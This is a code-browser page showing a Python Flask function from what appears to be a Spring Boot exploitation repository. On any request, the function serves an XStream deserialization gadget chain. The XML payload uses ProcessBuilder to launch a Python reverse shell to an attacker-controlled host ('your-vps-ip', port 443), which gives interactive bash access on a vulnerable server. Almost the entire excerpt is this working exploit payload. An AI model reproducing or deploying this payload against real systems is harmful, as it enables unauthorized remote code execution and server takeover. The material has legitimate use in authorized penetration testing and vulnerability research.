MCPcopy Create free account
hub / github.com/LandGrey/SpringBootVulExploit / catch_all

Function catch_all

codebase/springboot-xstream-rce.py:12–52  ·  view source on GitHub ↗
(path)

Source from the content-addressed store, hash-verified

10@app.route('/', defaults={'path': ''})
11@app.route('/<path:path>', methods=['GET', 'POST'])
12def catch_all(path):
13 xml = """<linked-hash-set>
14 <jdk.nashorn.internal.objects.NativeString>
15 <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
16 <dataHandler>
17 <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
18 <is class="javax.crypto.CipherInputStream">
19 <cipher class="javax.crypto.NullCipher">
20 <serviceIterator class="javax.imageio.spi.FilterIterator">
21 <iter class="javax.imageio.spi.FilterIterator">
22 <iter class="java.util.Collections$EmptyIterator"/>
23 <next class="java.lang.ProcessBuilder">
24 <command>
25 <string>/bin/bash</string>
26 <string>-c</string>
27 <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
28 </command>
29 <redirectErrorStream>false</redirectErrorStream>
30 </next>
31 </iter>
32 <filter class="javax.imageio.ImageIO$ContainsFilter">
33 <method>
34 <class>java.lang.ProcessBuilder</class>
35 <name>start</name>
36 <parameter-types/>
37 </method>
38 <name>foo</name>
39 </filter>
40 <next class="string">foo</next>
41 </serviceIterator>
42 <lock/>
43 </cipher>
44 <input class="java.lang.ProcessBuilder$NullInputStream"/>
45 <ibuffer></ibuffer>
46 </is>
47 </dataSource>
48 </dataHandler>
49 </value>
50 </jdk.nashorn.internal.objects.NativeString>
51</linked-hash-set>"""
52 return Response(xml, mimetype='application/xml')
53
54
55if __name__ == "__main__":

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected